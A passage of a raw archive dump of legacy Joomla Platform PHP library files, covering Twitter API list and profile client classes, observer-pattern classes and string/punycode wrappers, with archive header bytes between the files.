{ $data['screen_name'] = $screenName; } if ($userId == null && $screenName == null) { // We don't have a valid entry throw new RuntimeException('You must specify either a comma separated list of screen names, user IDs, or a combination of the two'); } // Set the API path $path = '/lists/members/destroy_all.json'; // Send the request. return $this->sendRequest($path, 'POST', $data); } /** * Method to subscribe the authenticated user to the specified list. * * @param mixed $list Either an integer containing the list ID or a string containing the list slug. * @param mixed $owner Either an integer containing the user ID or a string containing the screen name of the owner. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function subscribe($list, $owner = null) { // Check the rate limit for remaining hits $this->checkRateLimit('lists', 'subscribers/create'); // Determine which type of data was passed for $list if (is_numeric($list)) { $data['list_id'] = $list; } elseif (is_string($list)) { $data['slug'] = $list; // In this case the owner is required. if (is_numeric($owner)) { $data['owner_id'] = $owner; } elseif (is_string($owner)) { $data['owner_screen_name'] = $owner; } else { // We don't have a valid entry throw new RuntimeException('The specified username for owner is not in the correct format; must use integer or string'); } } else { // We don't have a valid entry throw new RuntimeException('The specified list is not in the correct format; must use integer or string'); } // Set the API path $path = '/lists/subscribers/create.json'; // Send the request. return $this->sendRequest($path, 'POST', $data); } /** * Method to check if the specified user is a member of the specified list. * * @param mixed $list Either an integer containing the list ID or a string containing the list slug. * @param mixed $user Either an integer containing the user ID or a string containing the screen name of the user to remove. * @param mixed $owner Either an integer containing the user ID or a string containing the screen name of the owner. * @param boolean $entities When set to either true, t or 1, each tweet will include a node called "entities". This node offers a * variety of metadata about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * @param boolean $skipStatus When set to either true, t or 1 statuses will not be included in the returned user objects. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function isMember($list, $user, $owner = null, $entities = null, $skipStatus = null) { // Check the rate limit for remaining hits $this->checkRateLimit('lists', 'members/show'); // Determine which type of data was passed for $list if (is_numeric($list)) { $data['list_id'] = $list; } elseif (is_string($list)) { $data['slug'] = $list; // In this case the owner is required. if (is_numeric($owner)) { $data['owner_id'] = $owner; } elseif (is_string($owner)) { $data['owner_screen_name'] = $owner; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } } else { // We don't have a valid entry throw new RuntimeException('The specified list is not in the correct format; must use integer or string'); } if (is_numeric($user)) { $data['user_id'] = $user; } elseif (is_string($user)) { $data['screen_name'] = $user; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } // Set the API path $path = '/lists/members/show.json'; // Check if entities is specified if (!is_null($entities)) { $data['include_entities'] = $entities; } // Check if skip_status is specified if (!is_null($skipStatus)) { $data['skip_status'] = $skipStatus; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to check if the specified user is a subscriber of the specified list. * * @param mixed $list Either an integer containing the list ID or a string containing the list slug. * @param mixed $user Either an integer containing the user ID or a string containing the screen name of the user to remove. * @param mixed $owner Either an integer containing the user ID or a string containing the screen name of the owner. * @param boolean $entities When set to either true, t or 1, each tweet will include a node called "entities". This node offers a * variety of metadata about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * @param boolean $skipStatus When set to either true, t or 1 statuses will not be included in the returned user objects. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function isSubscriber($list, $user, $owner = null, $entities = null, $skipStatus = null) { // Check the rate limit for remaining hits $this->checkRateLimit('lists', 'subscribers/show'); // Determine which type of data was passed for $list if (is_numeric($list)) { $data['list_id'] = $list; } elseif (is_string($list)) { $data['slug'] = $list; // In this case the owner is required. if (is_numeric($owner)) { $data['owner_id'] = $owner; } elseif (is_string($owner)) { $data['owner_screen_name'] = $owner; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } } else { // We don't have a valid entry throw new RuntimeException('The specified list is not in the correct format; must use integer or string'); } if (is_numeric($user)) { $data['user_id'] = $user; } elseif (is_string($user)) { $data['screen_name'] = $user; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } // Set the API path $path = '/lists/subscribers/show.json'; // Check if entities is specified if (!is_null($entities)) { $data['include_entities'] = $entities; } // Check if skip_status is specified if (!is_null($skipStatus)) { $data['skip_status'] = $skipStatus; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to unsubscribe the authenticated user from the specified list. * * @param mixed $list Either an integer containing the list ID or a string containing the list slug. * @param mixed $owner Either an integer containing the user ID or a string containing the screen name of the owner. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function unsubscribe($list, $owner = null) { // Check the rate limit for remaining hits $this->checkRateLimit('lists', 'subscribers/destroy'); // Determine which type of data was passed for $list if (is_numeric($list)) { $data['list_id'] = $list; } elseif (is_string($list)) { $data['slug'] = $list; // In this case the owner is required. if (is_numeric($owner)) { $data['owner_id'] = $owner; } elseif (is_string($owner)) { $data['owner_screen_name'] = $owner; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } } else { // We don't have a valid entry throw new RuntimeException('The specified list is not in the correct format; must use integer or string'); } // Set the API path $path = '/lists/subscribers/destroy.json'; // Send the request. return $this->sendRequest($path, 'POST', $data); } /** * Method to add multiple members to a list, by specifying a comma-separated list of member ids or screen names. * * @param mixed $list Either an integer containing the list ID or a string containing the list slug. * @param string $userId A comma separated list of user IDs, up to 100 are allowed in a single request. * @param string $screenName A comma separated list of screen names, up to 100 are allowed in a single request. * @param mixed $owner Either an integer containing the user ID or a string containing the screen name of the owner. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function addMembers($list, $userId = null, $screenName = null, $owner = null) { // Check the rate limit for remaining hits $this->checkRateLimit('lists', 'members/create_all'); // Determine which type of data was passed for $list if (is_numeric($list)) { $data['list_id'] = $list; } elseif (is_string($list)) { $data['slug'] = $list; // In this case the owner is required. if (is_numeric($owner)) { $data['owner_id'] = $owner; } elseif (is_string($owner)) { $data['owner_screen_name'] = $owner; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } } else { // We don't have a valid entry throw new RuntimeException('The specified list is not in the correct format; must use integer or string'); } if ($userId) { $data['user_id'] = $userId; } if ($screenName) { $data['screen_name'] = $screenName; } if ($userId == null && $screenName == null) { // We don't have a valid entry throw new RuntimeException('You must specify either a comma separated list of screen names, user IDs, or a combination of the two'); } // Set the API path $path = '/lists/members/create_all.json'; // Send the request. return $this->sendRequest($path, 'POST', $data); } /** * Method to get the members of the specified list. * * @param mixed $list Either an integer containing the list ID or a string containing the list slug. * @param mixed $owner Either an integer containing the user ID or a string containing the screen name. * @param boolean $entities When set to either true, t or 1, each tweet will include a node called "entities". This node offers a variety * of metadata about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * @param boolean $skipStatus When set to either true, t or 1 statuses will not be included in the returned user objects. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function getMembers($list, $owner = null, $entities = null, $skipStatus = null) { // Check the rate limit for remaining hits $this->checkRateLimit('lists', 'members'); // Determine which type of data was passed for $list if (is_numeric($list)) { $data['list_id'] = $list; } elseif (is_string($list)) { $data['slug'] = $list; // In this case the owner is required. if (is_numeric($owner)) { $data['owner_id'] = $owner; } elseif (is_string($owner)) { $data['owner_screen_name'] = $owner; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } } else { // We don't have a valid entry throw new RuntimeException('The specified list is not in the correct format; must use integer or string'); } // Set the API path $path = '/lists/members.json'; // Check if entities is specified if (!is_null($entities)) { $data['include_entities'] = $entities; } // Check if skip_status is specified if (!is_null($skipStatus)) { $data['skip_status'] = $skipStatus; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to get the specified list. * * @param mixed $list Either an integer containing the list ID or a string containing the list slug. * @param mixed $owner Either an integer containing the user ID or a string containing the screen name. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function getListById($list, $owner = null) { // Check the rate limit for remaining hits $this->checkRateLimit('lists', 'show'); // Determine which type of data was passed for $list if (is_numeric($list)) { $data['list_id'] = $list; } elseif (is_string($list)) { $data['slug'] = $list; // In this case the owner is required. if (is_numeric($owner)) { $data['owner_id'] = $owner; } elseif (is_string($owner)) { $data['owner_screen_name'] = $owner; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } } else { // We don't have a valid entry throw new RuntimeException('The specified list is not in the correct format; must use integer or string'); } // Set the API path $path = '/lists/show.json'; // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to get a collection of the lists the specified user is subscribed to, 20 lists per page by default. Does not include the user's own lists. * * @param mixed $user Either an integer containing the user ID or a string containing the screen name. * @param integer $count The amount of results to return per page. Defaults to 20. Maximum of 1,000 when using cursors. * @param integer $cursor Breaks the results into pages. Provide a value of -1 to begin paging. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function getSubscriptions($user, $count = 0, $cursor = null) { // Check the rate limit for remaining hits $this->checkRateLimit('lists', 'subscriptions'); // Determine which type of data was passed for $user if (is_numeric($user)) { $data['user_id'] = $user; } elseif (is_string($user)) { $data['screen_name'] = $user; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } // Check if count is specified. if ($count > 0) { $data['count'] = $count; } // Check if cursor is specified. if (!is_null($cursor)) { $data['cursor'] = $cursor; } // Set the API path $path = '/lists/subscriptions.json'; // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to update the specified list * * @param mixed $list Either an integer containing the list ID or a string containing the list slug. * @param mixed $owner Either an integer containing the user ID or a string containing the screen name of the owner. * @param string $name The name of the list. * @param string $mode Whether your list is public or private. Values can be public or private. If no mode is * specified the list will be public. * @param string $description The description to give the list. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function update($list, $owner = null, $name = null, $mode = null, $description = null) { // Check the rate limit for remaining hits $this->checkRateLimit('lists', 'update'); // Determine which type of data was passed for $list if (is_numeric($list)) { $data['list_id'] = $list; } elseif (is_string($list)) { $data['slug'] = $list; // In this case the owner is required. if (is_numeric($owner)) { $data['owner_id'] = $owner; } elseif (is_string($owner)) { $data['owner_screen_name'] = $owner; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } } else { // We don't have a valid entry throw new RuntimeException('The specified list is not in the correct format; must use integer or string'); } // Check if name is specified. if ($name) { $data['name'] = $name; } // Check if mode is specified. if ($mode) { $data['mode'] = $mode; } // Check if description is specified. if ($description) { $data['description'] = $description; } // Set the API path $path = '/lists/update.json'; // Send the request. return $this->sendRequest($path, 'POST', $data); } /** * Method to create a new list for the authenticated user. * * @param string $name The name of the list. * @param string $mode Whether your list is public or private. Values can be public or private. If no mode is * specified the list will be public. * @param string $description The description to give the list. * * @return array The decoded JSON response * * @since 3.1.4 */ public function create($name, $mode = null, $description = null) { // Check the rate limit for remaining hits $this->checkRateLimit('lists', 'create'); // Check if name is specified. if ($name) { $data['name'] = $name; } // Check if mode is specified. if ($mode) { $data['mode'] = $mode; } // Check if description is specified. if ($description) { $data['description'] = $description; } // Set the API path $path = '/lists/create.json'; // Send the request. return $this->sendRequest($path, 'POST', $data); } /** * Method to delete a specified list. * * @param mixed $list Either an integer containing the list ID or a string containing the list slug. * @param mixed $owner Either an integer containing the user ID or a string containing the screen name of the owner. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function delete($list, $owner = null) { // Check the rate limit for remaining hits $this->checkRateLimit('lists', 'destroy'); // Determine which type of data was passed for $list if (is_numeric($list)) { $data['list_id'] = $list; } elseif (is_string($list)) { $data['slug'] = $list; // In this case the owner is required. if (is_numeric($owner)) { $data['owner_id'] = $owner; } elseif (is_string($owner)) { $data['owner_screen_name'] = $owner; } else { // We don't have a valid entry throw new RuntimeException('The specified username for owner is not in the correct format; must use integer or string'); } } else { // We don't have a valid entry throw new RuntimeException('The specified list is not in the correct format; must use integer or string'); } // Set the API path $path = '/lists/destroy.json'; // Send the request. return $this->sendRequest($path, 'POST', $data); } } PK�\�M���'�'joomla/twitter/profile.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Twitter * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Twitter API Profile class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/twitter` package via Composer instead */ class JTwitterProfile extends JTwitterObject { /** * Method to et values that users are able to set under the "Account" tab of their settings page. * * @param string $name Full name associated with the profile. Maximum of 20 characters. * @param string $url URL associated with the profile. Will be prepended with "http://" if not present. Maximum of 100 characters. * @param string $location The city or country describing where the user of the account is located. The contents are not normalized * or geocoded in any way. Maximum of 30 characters. * @param string $description A description of the user owning the account. Maximum of 160 characters. * @param boolean $entities When set to either true, t or 1, each tweet will include a node called "entities,". This node offers a * variety of metadata about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * @param boolean $skipStatus When set to either true, t or 1 statuses will not be included in the returned user objects. * * @return array The decoded JSON response * * @since 3.1.4 */ public function updateProfile($name = null, $url = null, $location = null, $description = null, $entities = null, $skipStatus = null) { // Check the rate limit for remaining hits $this->checkRateLimit('account', 'update_profile'); $data = array(); // Check if name is specified. if ($name) { $data['name'] = $name; } // Check if url is specified. if ($url) { $data['url'] = $url; } // Check if location is specified. if ($location) { $data['location'] = $location; } // Check if description is specified. if ($description) { $data['description'] = $description; } // Check if entities is specified. if (!is_null($entities)) { $data['include_entities'] = $entities; } // Check if skip_status is specified. if (!is_null($skipStatus)) { $data['skip_status'] = $skipStatus; } // Set the API path $path = '/account/update_profile.json'; // Send the request. return $this->sendRequest($path, 'POST', $data); } /** * Method to update the authenticating user's profile background image. This method can also be used to enable or disable the profile * background image. * * @param string $image The background image for the profile. * @param boolean $tile Whether or not to tile the background image. * @param boolean $entities When set to either true, t or 1, each tweet will include a node called "entities,". This node offers a * variety of metadata about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * @param boolean $skipStatus When set to either true, t or 1 statuses will not be included in the returned user objects. * @param boolean $use Determines whether to display the profile background image or not. * * @return array The decoded JSON response * * @since 3.1.4 */ public function updateProfileBackgroundImage($image = null, $tile = false, $entities = null, $skipStatus = null, $use = false) { // Check the rate limit for remaining hits $this->checkRateLimit('account', 'update_profile_background_image'); $data = array(); // Check if image is specified. if ($image) { $data['image'] = "@{$image}"; } // Check if url is true. if ($tile) { $data['tile'] = $tile; } // Check if entities is specified. if (!is_null($entities)) { $data['include_entities'] = $entities; } // Check if skip_status is specified. if (!is_null($skipStatus)) { $data['skip_status'] = $skipStatus; } // Check if use is true. if ($use) { $data['use'] = $use; } // Set the API path $path = '/account/update_profile_background_image.json'; $header = array('Content-Type' => 'multipart/form-data', 'Expect' => ''); // Send the request. return $this->sendRequest($path, 'POST', $data, $header); } /** * Method to update the authenticating user's profile image. * * @param string $image The background image for the profile. * @param boolean $entities When set to either true, t or 1, each tweet will include a node called "entities,". This node offers a * variety of metadata about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * @param boolean $skipStatus When set to either true, t or 1 statuses will not be included in the returned user objects. * * @return array The decoded JSON response * * @since 3.1.4 */ public function updateProfileImage($image = null, $entities = null, $skipStatus = null) { // Check the rate limit for remaining hits $this->checkRateLimit('account', 'update_profile_image'); $data = array(); // Check if image is specified. if ($image) { $data['image'] = "@{$image}"; } // Check if entities is specified. if (!is_null($entities)) { $data['include_entities'] = $entities; } // Check if skip_status is specified. if (!is_null($skipStatus)) { $data['skip_status'] = $skipStatus; } // Set the API path $path = '/account/update_profile_image.json'; $header = array('Content-Type' => 'multipart/form-data', 'Expect' => ''); // Send the request. return $this->sendRequest($path, 'POST', $data, $header); } /** * Method to set one or more hex values that control the color scheme of the authenticating user's profile page on twitter.com. * * @param string $background Profile background color. * @param string $link Profile link color. * @param string $sidebarBorder Profile sidebar's border color. * @param string $sidebarFill Profile sidebar's fill color. * @param string $text Profile text color. * @param boolean $entities When set to either true, t or 1, each tweet will include a node called "entities,". This node offers a * variety of metadata about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * @param boolean $skipStatus When set to either true, t or 1 statuses will not be included in the returned user objects. * * @return array The decoded JSON response * * @since 3.1.4 */ public function updateProfileColors($background = null, $link = null, $sidebarBorder = null, $sidebarFill = null, $text = null, $entities = null, $skipStatus = null) { // Check the rate limit for remaining hits $this->checkRateLimit('account', 'update_profile_colors'); $data = array(); // Check if background is specified. if ($background) { $data['profile_background_color'] = $background; } // Check if link is specified. if ($link) { $data['profile_link_color'] = $link; } // Check if sidebar_border is specified. if ($sidebarBorder) { $data['profile_sidebar_border_color'] = $sidebarBorder; } // Check if sidebar_fill is specified. if ($sidebarFill) { $data['profile_sidebar_fill_color'] = $sidebarFill; } // Check if text is specified. if ($text) { $data['profile_text_color'] = $text; } // Check if entities is specified. if (!is_null($entities)) { $data['include_entities'] = $entities; } // Check if skip_status is true. if (!is_null($skipStatus)) { $data['skip_status'] = $skipStatus; } // Set the API path $path = '/account/update_profile_colors.json'; // Send the request. return $this->sendRequest($path, 'POST', $data); } /** * Method to get the settings (including current trend, geo and sleep time information) for the authenticating user. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getSettings() { // Check the rate limit for remaining hits $this->checkRateLimit('account', 'settings'); // Set the API path $path = '/account/settings.json'; // Send the request. return $this->sendRequest($path); } /** * Method to update the authenticating user's settings. * * @param integer $location The Yahoo! Where On Earth ID to use as the user's default trend location. * @param boolean $sleepTime When set to true, t or 1, will enable sleep time for the user. * @param integer $startSleep The hour that sleep time should begin if it is enabled. * @param integer $endSleep The hour that sleep time should end if it is enabled. * @param string $timeZone The timezone dates and times should be displayed in for the user. The timezone must be one of the * Rails TimeZone names. * @param string $lang The language which Twitter should render in for this user. * * @return array The decoded JSON response * * @since 3.1.4 */ public function updateSettings($location = null, $sleepTime = false, $startSleep = null, $endSleep = null, $timeZone = null, $lang = null) { $data = array(); // Check if location is specified. if ($location) { $data['trend_location_woeid '] = $location; } // Check if sleep_time is true. if ($sleepTime) { $data['sleep_time_enabled'] = $sleepTime; } // Check if start_sleep is specified. if ($startSleep) { $data['start_sleep_time'] = $startSleep; } // Check if end_sleep is specified. if ($endSleep) { $data['end_sleep_time'] = $endSleep; } // Check if time_zone is specified. if ($timeZone) { $data['time_zone'] = $timeZone; } // Check if lang is specified. if ($lang) { $data['lang'] = $lang; } // Set the API path $path = '/account/settings.json'; // Send the request. return $this->sendRequest($path, 'POST', $data); } } PK�\'�˂ � joomla/observer/mapper.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Observer * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Observer mapping pattern implementation for Joomla * * @since 3.1.2 */ class JObserverMapper { /** * Array: array( JObservableInterface_classname => array( JObserverInterface_classname => array( paramname => param, .... ) ) ) * * @var array * @since 3.1.2 */ protected static $observations = array(); /** * Adds a mapping to observe $observerClass subjects with $observableClass observer/listener, attaching it on creation with $params * on $observableClass instance creations * * @param string $observerClass The name of the observer class (implementing JObserverInterface) * @param string $observableClass The name of the observable class (implementing JObservableInterface) * @param array|boolean $params The params to give to the JObserverInterface::createObserver() function, or false to remove mapping * * @return void * * @since 3.1.2 */ public static function addObserverClassToClass($observerClass, $observableClass, $params = array()) { if ($params !== false) { static::$observations[$observableClass][$observerClass] = $params; } else { unset(static::$observations[$observableClass][$observerClass]); } } /** * Attaches all applicable observers to an $observableObject * * @param JObservableInterface $observableObject The observable subject object * * @return void * * @since 3.1.2 */ public static function attachAllObservers(JObservableInterface $observableObject) { $observableClass = get_class($observableObject); while ($observableClass != false) { // Attach applicable Observers for the class to the Observable subject: if (isset(static::$observations[$observableClass])) { foreach (static::$observations[$observableClass] as $observerClass => $params) { // Attach an Observer to the Observable subject: /** * @var JObserverInterface $observerClass */ $observerClass::createObserver($observableObject, $params); } } // Get parent class name (or false if none), and redo the above on it: $observableClass = get_parent_class($observableClass); } } } PK�\Эe joomla/observer/interface.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Observer * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Observer pattern interface for Joomla * * A class that wants to observe another class must: * * 1) Add: implements JObserverInterface * to its class * * 2) Implement a constructor, that can look like this: * public function __construct(JObservableInterface $observableObject) * { * $observableObject->attachObserver($this); * $this->observableObject = $observableObject; * } * * 3) and must implement the instantiator function createObserver() below, e.g. as follows: * public static function createObserver(JObservableInterface $observableObject, $params = array()) * { * $observer = new self($observableObject); * $observer->... = $params['...']; ... * return $observer; * } * * 4) Then add functions corresponding to the events to be observed, * E.g. to respond to event: $this->_observers->update('onBeforeLoad', array($keys, $reset)); * following function is needed in the observer: * public function onBeforeLoad($keys, $reset) { ... } * * 5) Finally, the binding is made outside the observable and observer classes, using: * JObserverMapper::addObserverClassToClass('ObserverClassname', 'ObservableClassname', array('paramName' => 'paramValue')); * where the last array will be provided to the observer instanciator function createObserver. * * @since 3.1.2 */ interface JObserverInterface { /** * Creates the associated observer instance and attaches it to the $observableObject * * @param JObservableInterface $observableObject The observable subject object * @param array $params Params for this observer * * @return JObserverInterface * * @since 3.1.2 */ public static function createObserver(JObservableInterface $observableObject, $params = array()); } PK�\A�$��%joomla/observer/updater/interface.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Observer * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Observer updater pattern implementation for Joomla * * @since 3.1.2 */ interface JObserverUpdaterInterface { /** * Constructor * * @param JObservableInterface $observable The observable subject object * * @since 3.1.2 */ public function __construct(JObservableInterface $observable); /** * Adds an observer to the JObservableInterface instance updated by this * This method can be called from JObservableInterface::attachObserver * * @param JObserverInterface $observer The observer object * * @return void * * @since 3.1.2 */ public function attachObserver(JObserverInterface $observer); /** * Call all observers for $event with $params * * @param string $event Event name (function name in observer) * @param array $params Params of event (params in observer function) * * @return void * * @since 3.1.2 */ public function update($event, $params); /** * Enable/Disable calling of observers (this is useful when calling parent:: function * * @param boolean $enabled Enable (true) or Disable (false) the observer events * * @return boolean Returns old state * * @since 3.1.2 */ public function doCallObservers($enabled); } PK�\��.���joomla/observer/updater.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Observer * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Observer updater pattern implementation for Joomla * * @since 3.1.2 */ class JObserverUpdater implements JObserverUpdaterInterface { /** * Holds the key aliases for observers. * * @var array * @since 3.9.0 */ protected $aliases = array(); /** * Generic JObserverInterface observers for this JObservableInterface * * @var JObserverInterface * @since 3.1.2 */ protected $observers = array(); /** * Process observers (useful when a class extends significantly an observed method, and calls observers itself * * @var boolean * @since 3.1.2 */ protected $doCallObservers = true; /** * Constructor * * @param JObservableInterface $observable The observable subject object * * @since 3.1.2 */ public function __construct(JObservableInterface $observable) { // Not yet needed, but possible: $this->observable = $observable; } /** * Adds an observer to the JObservableInterface instance updated by this * This method can be called from JObservableInterface::attachObserver * * @param JObserverInterface $observer The observer object * * @return void * * @since 3.1.2 */ public function attachObserver(JObserverInterface $observer) { $class = get_class($observer); // Also register the alias if exists foreach (JLoader::getDeprecatedAliases() as $alias) { $realClass = trim($alias['new'], '\\'); // Check if we have an alias for the observer class if ($realClass === $class) { $aliasClass = trim($alias['old'], '\\'); // Add an alias to known aliases $this->aliases[$aliasClass] = $class; } } // Register the real class $this->observers[$class] = $observer; } /** * Removes an observer from the JObservableInterface instance updated by this * This method can be called from JObservableInterface::attachObserver * * @param String $observer The observer class name * * @return void * * @since 3.6.0 */ public function detachObserver($observer) { $observer = trim($observer, '\\'); if (isset($this->aliases[$observer])) { $observer = $this->aliases[$observer]; } if (isset($this->observers[$observer])) { unset($this->observers[$observer]); } } /** * Gets the instance of the observer of class $observerClass * * @param string $observerClass The class name of the observer * * @return JTableObserver|null The observer object of this class if any * * @since 3.1.2 */ public function getObserverOfClass($observerClass) { $observerClass = trim($observerClass, '\\'); if (isset($this->aliases[$observerClass])) { $observerClass = $this->aliases[$observerClass]; } if (isset($this->observers[$observerClass])) { return $this->observers[$observerClass]; } return null; } /** * Call all observers for $event with $params * * @param string $event Name of the event * @param array $params Params of the event * * @return void * * @since 3.1.2 */ public function update($event, $params) { if ($this->doCallObservers) { foreach ($this->observers as $observer) { $eventListener = array($observer, $event); if (is_callable($eventListener)) { call_user_func_array($eventListener, $params); } } } } /** * Enable/Disable calling of observers (this is useful when calling parent:: function * * @param boolean $enabled Enable (true) or Disable (false) the observer events * * @return boolean Returns old state * * @since 3.1.2 */ public function doCallObservers($enabled) { $oldState = $this->doCallObservers; $this->doCallObservers = $enabled; return $oldState; } } PK�\`�{Z"joomla/observer/wrapper/mapper.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Observer * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Wrapper class for JObserverMapper * * @package Joomla.Platform * @subpackage Observer * @since 3.4 */ class JObserverWrapperMapper { /** * Helper wrapper method for addObserverClassToClass * * @param string $observerClass The name of the observer class (implementing JObserverInterface). * @param string $observableClass The name of the observable class (implementing JObservableInterface). * @param array|boolean $params The params to give to the JObserverInterface::createObserver() function, or false to remove mapping. * * @return void * * @see JObserverMapper::addObserverClassToClass * @since 3.4 */ public function addObserverClassToClass($observerClass, $observableClass, $params = array()) { return JObserverMapper::addObserverClassToClass($observerClass, $observableClass, $params); } /** * Helper wrapper method for attachAllObservers * * @param JObservableInterface $observableObject The observable subject object. * * @return void * * @see JObserverMapper::attachAllObservers * @since 3.4 */ public function attachAllObservers(JObservableInterface $observableObject) { return JObserverMapper::attachAllObservers($observableObject); } } PK�\/�2T__joomla/string/string.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage String * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\String\StringHelper; /** * String handling class for utf-8 data * Wraps the phputf8 library * All functions assume the validity of utf-8 strings. * * @since 1.7.0 * @deprecated 4.0 Use {@link \Joomla\String\StringHelper} instead unless otherwise noted. */ abstract class JString extends StringHelper { /** * Split a string in camel case format * * "FooBarABCDef" becomes array("Foo", "Bar", "ABC", "Def"); * "JFooBar" becomes array("J", "Foo", "Bar"); * "J001FooBar002" becomes array("J001", "Foo", "Bar002"); * "abcDef" becomes array("abc", "Def"); * "abc_defGhi_Jkl" becomes array("abc_def", "Ghi_Jkl"); * "ThisIsA_NASAAstronaut" becomes array("This", "Is", "A_NASA", "Astronaut")), * "JohnFitzgerald_Kennedy" becomes array("John", "Fitzgerald_Kennedy")), * * @param string $string The source string. * * @return array The splitted string. * * @deprecated 4.0 - Use JStringNormalise::fromCamelCase() * @since 1.7.3 */ public static function splitCamelCase($string) { JLog::add('JString::splitCamelCase has been deprecated. Use JStringNormalise::fromCamelCase.', JLog::WARNING, 'deprecated'); return JStringNormalise::fromCamelCase($string, true); } /** * Does a UTF-8 safe version of PHP parse_url function * * @param string $url URL to parse * * @return mixed Associative array or false if badly formed URL. * * @link http://us3.php.net/manual/en/function.parse-url.php * @since 1.7.0 * @deprecated 4.0 (CMS) - Use {@link \Joomla\Uri\UriHelper::parse_url()} instead. */ public static function parse_url($url) { JLog::add('JString::parse_url has been deprecated. Use \\Joomla\\Uri\\UriHelper::parse_url.', JLog::WARNING, 'deprecated'); return \Joomla\Uri\UriHelper::parse_url($url); } } PK�\�c/1� � "joomla/string/wrapper/punycode.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage String * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; JLoader::register('idna_convert', JPATH_LIBRARIES . '/idna_convert/idna_convert.class.php'); /** * Wrapper class for JStringPunycode * * @package Joomla.Platform * @subpackage String * @since 3.4 * @deprecated 4.0 Will be removed without replacement */ class JStringWrapperPunycode { /** * Helper wrapper method for toPunycode * * @param string $utfString The UTF-8 string to transform. * * @return string The punycode string. * * @see JUserHelper::toPunycode() * @since 3.4 */ public function toPunycode($utfString) { return JStringPunycode::toPunycode($utfString); } /** * Helper wrapper method for fromPunycode * * @param string $punycodeString The Punycode string to transform. * * @return string The UF-8 URL. * * @see JUserHelper::fromPunycode() * @since 3.4 */ public function fromPunycode($punycodeString) { return JStringPunycode::fromPunycode($punycodeString); } /** * Helper wrapper method for urlToPunycode * * @param string $uri The UTF-8 URL to transform. * * @return string The punycode URL. * * @see JUserHelper::urlToPunycode() * @since 3.4 */ public function urlToPunycode($uri) { return JStringPunycode::urlToPunycode($uri); } /** * Helper wrapper method for urlToUTF8 * * @param string $uri The Punycode URL to transform. * * @return string The UTF-8 URL. * * @see JStringPunycode::urlToUTF8() * @since 3.4 */ public function urlToUTF8($uri) { return JStringPunycode::urlToUTF8($uri); } /** * Helper wrapper method for emailToPunycode * * @param string $email The UTF-8 email to transform. * * @return string The punycode email. * * @see JStringPunycode::emailToPunycode() * @since 3.4 */ public function emailToPunycode($email) { return JStringPunycode::emailToPunycode($email); } /** * Helper wrapper method for emailToUTF8 * * @param string $email The punycode email to transform. * * @return string The punycode email. * * @see JStringPunycode::emailToUTF8() * @since 3.4 */ public function 